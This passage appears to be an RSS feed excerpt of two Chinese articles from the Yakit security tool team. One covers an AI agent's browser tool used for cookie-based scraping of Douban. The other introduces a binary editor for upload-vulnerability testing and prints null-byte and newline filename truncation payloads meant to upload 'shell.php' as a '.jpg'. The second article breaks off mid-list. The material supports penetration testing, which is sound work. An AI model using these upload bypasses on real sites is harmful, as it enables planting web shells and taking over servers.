style="color: rgb(253, 128, 9);"><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不必登录也要过浏览器</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">豆瓣这类站点即使用户未登录，仍建议先浏览器访问再抓 Cookie，比脚本裸奔稳定得多。</span></span></p></li><li style="color: rgb(253, 128, 9);"><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Cookie + UA 成对使用</span></span></strong><span leaf="" style="font-weight: bold;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">只抄 Cookie 不换 UA，或反之，都容易触发异常响应。</span></span></p></li><li style="color: rgb(253, 128, 9);"><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">浏览器只跑一趟</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">热映列表的重复 GET 交给 Python，避免 Agent 对每个电影 ref 点一遍。</span></span></p></li><li style="color: rgb(253, 128, 9);"><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">合规与频率</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">仅用于个人学习/内部分析时控制请求频率，遵守站点服务条款；Cookie 有时效，脚本失败时可让 Agent 重新 </span></span><code style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">open</span></span></code><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 刷新 Cookie。</span></span></p></li><li style="color: rgb(253, 128, 9);"><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">脚本语言不限于 Yak</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">本例用户指定 Python；同一流程也可让 Agent 写 Yak 脚本，原理相同。</span></span></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">四、实践要点</span></strong></p></div></div></div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">与传统自动化对比</span></strong></span></p></div></div></div></div></div><table style="border-collapse:collapse;min-width:217px;"><tbody><tr><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mquc4beil1h" style="font-size: 15px;" data-mpa-action-id="mquc4ber16sq" data-pm-slice="0 0 []">维度</span></p></td><td data-colwidth="167" style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mquc4ezyh12" style="font-size: 15px;" data-mpa-action-id="mquc4f08tve" data-pm-slice="0 0 []">传统脚本</span></p></td><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p style="text-align: left;"><span leaf="" mpa-font-style="mquc4j0egzt" style="font-size: 15px;" data-mpa-action-id="mquc4j0ol93" data-pm-slice="0 0 []">Memfit + use_browser</span></p></td></tr><tr><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" mpa-font-style="mquc4wj92i3" style="font-size: 15px;" data-mpa-action-id="mquc4wjl22gs" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">页面理解</span></span></p></td><td data-colwidth="167"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">手写选择器</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Snapshot 文本 + ref</span></span></p></td></tr><tr><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">任务入口</span></span></p></td><td data-colwidth="167"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">代码</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">自然语言 + ReAct</span></span></p></td></tr><tr><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">SPA</span></span></p></td><td data-colwidth="167"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">wait + 选择器</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">eval 兜底</span></span></p></td></tr><tr><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">会话</span></span></p></td><td data-colwidth="167"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">脚本变量</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">session 跨 tool call</span></span></p></td></tr><tr><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">典型场景</span></span></p></td><td data-colwidth="167"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">QA / 开发</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">安全测试、Agent 编排</span></span></p></td></tr></tbody></table><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">踩坑清单</span></span></p></div></div></div></div></div><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">1.snapshot ≠ 截图</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——要视觉确认用 </span></span><code><span leaf="" style="font-size: 15px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqucryel1r5j" data-mpa-action-id="mqucryev17dw" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">screenshot</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">2.0 ref 立刻换 JS 策略</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——勿空转 snapshot。</span></span></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">3.页面变化后 ref 必刷新</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">4.长任务记得 close</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——释放 Chrome。</span></span></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">5.浏览器 vs HTTP</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——无登录态用 HTTP；登录、CSRF、Cookie 用浏览器；批量抓取用 Cookie + Yak 脚本（案例 4）。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">总结</span></span></p></div></div></div><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">用 Snapshot 翻译页面结构，用 Ref 简化「点哪里」，用 Session 缝合多轮对话，用 eval 兜住 SPA——Tool 提供能力，Skill 提供策略，Agent 在上层决策。这不是取代 Playwright，而是为</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">LLM 作为操作者</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 重新设计的中间层。配合Yaklang 或 python 脚本可以最大程度上释放 AI 的安全能力。</span></span></p><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-pm-slice="3 5 []"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3b264826&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529951%26idx%3D1%26sn%3Def03392f48b31e647e62ccc2eb8652e5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Jun 2026 17:05:00 +0800</pubDate>
    </item>
    <item>
      <title>Yakit 新功能：Edit Binary 让上传包里的不可见字符可控了</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529933&amp;idx=1&amp;sn=a19487238bfebbae679db1afd6f2d5b7</link>
      <description>可视化二进制流量编辑实操</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-06-18 17:30</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5355ff97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72HBD2iaeEicosEDveqNicJ0uHrcDEfFVM67c7mgmynodibbnE53ABfjRAvGefRHjjBNufb3icbgbZUn5IpBA0xeUuPOMdv0kTkVgtjs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>可视化二进制流量编辑实操</p>
  <p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" type="block" data-imgfileid="100032990" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100041182" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=988c1871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZdUYXaiccQFYhEArmU3f9ef0VNmBjcyLt7PUV08libAc8EmnhuFSzlnIiaJThN911S7468pdssPD8hgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mqhtx4m1222u" style="font-size: 15px;" data-mpa-action-id="mqhtx4m9206g" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">测上传漏洞的时候，有一种场景特别烦人：</span></span></p><blockquote><p><span leaf="">你需要在数据包里写入真实的 </span><code><span leaf="">\x00</span></code><span leaf="">、</span><code><span leaf="">\x0a</span></code><span leaf=""> 这类不可见字节，但普通文本编辑器里根本没法直接输入它们。</span></p></blockquote><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">比如空字节截断、换行解析这些经典 bypass，payload 长这样：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">filename</span>=<span class="code-snippet__string">&#34;shell.php\x00.jpg&#34;</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__attr">filename</span>=<span class="code-snippet__string">&#34;shell.php\x0a.jpg&#34;</span></span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">以前要在 Yakit 里发出真实的空字节，通常得用 URL 解码类的 Fuzztag 间接构造，比如</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">：</span></span></p><pre><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">filename</span>=<span class="code-snippet__string">&#34;shell.php{{urldec(%00)}}.jpg&#34;</span> // 或者{{null()}}</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqhujt8q1mjj" data-mpa-action-id="mqhujt931ulp" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">{{urldec(%00)}}</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 渲染后才会变成真正的</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">0x00</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 字节。但这种方式有几个问题：</span></span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">要记住</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">urldec</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">urldecode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 这类 Fuzztag 的写法；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">多个特殊字节混在一起时，可读性很差；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">没法直观确认最终发出去的字节到底是不是</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, 